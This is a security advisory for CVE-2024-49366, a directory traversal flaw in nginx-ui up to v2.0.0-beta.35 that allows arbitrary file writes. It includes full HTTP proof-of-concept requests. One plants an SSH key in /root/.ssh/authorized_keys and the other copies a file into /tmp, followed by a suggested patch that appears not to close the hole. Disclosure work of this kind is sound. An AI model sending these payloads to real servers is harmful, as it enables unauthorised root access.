Skip to content

The json field can construct a directory traversal payload, causing arbitrary files to be written

Moderate
0xJacky published GHSA-prv4-rx44-f7jr Oct 21, 2024

Package

internal/nginx/config_args.go#GetConfPath()

Affected versions

<=v2.0.0-beta.35

Patched versions

v2.0.0-beta.36

Description

Summary

nginxui v2.0.0-beta.35 gets the value from the json field without verification, and can construct a vaule value in the form of ../../, thus constituting an arbitrary file write vulnerability.

Details

Since nginxui does not check the nginx configuration file by default, the file content is controllable. We combine directory traversal to write or copy files in any path.

one

nginx-ui-2.0.0-beta.35/api/sites/domain.go
image
nginx-ui-2.0.0-beta.35/internal/nginx/config_args.go
image
You can control json.name, and then forge any path when calling GetConfPath later.

two

nginx-ui-2.0.0-beta.35/api/sites/duplicate.go
image
Get the path from json.name and copy it.

three

The same is true for the stream module.
nginx-ui-2.0.0-beta.35/api/streams/streams.go
image

four

nginx-ui-2.0.0-beta.35/api/streams/streams.go
image

PoC

File Writing

Send the following data packet

POST /api/domain/ww HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 670
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
Authorization: yourjwt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/json
Accept: application/json, text/plain, */*
sec-ch-ua-platform: "macOS"
Origin: http://127.0.0.1:9000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9000/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"name":"../../../../../../../../../root/.ssh/authorized_keys","content":"your id_rsa.pub","overwrite":true}
image Successfully written public key. image Login successfully using private key.

copy

First, create a new domain, select Advanced Mode in the Modify field, and then save the content you want to write.
image
image
Send the following data packet.

POST /api/domain/<yourdomain>/duplicate HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 50
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
Authorization:   yourjwt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/json
Accept: application/json, text/plain, */*
sec-ch-ua-platform: "macOS"
Origin: http://127.0.0.1:9000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9000/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"name":"../../../../../../../../../tmp/deadbeef"}
image Successfully written to /tmp/deadbeef via the copy function

Impact

Arbitrary files can be written to the server, which may result in loss of permissions.

Restoration suggestions

It is recommended to modify the GetConfPath function directly.

func GetConfPath(dir ...string) (confPath string) {
    if settings.NginxSettings.ConfigDir == "" {
        out := getNginxV()
        r, _ := regexp.Compile("--conf-path=(.*)/(.*.conf)")
        match := r.FindStringSubmatch(out)
        if len(match) < 1 {
            logger.Error("nginx.GetConfPath len(match) < 1")
            return ""
        }
        confPath = match[1]
    } else {
        confPath = settings.NginxSettings.ConfigDir
    }

    // Ensure confPath does not allow directory traversal
    safeConfPath := filepath.Clean(confPath)

    return filepath.Join(safeConfPath, filepath.Join(dir...))
}

Severity

Moderate

CVE ID

CVE-2024-49366

Weaknesses

No CWEs

Credits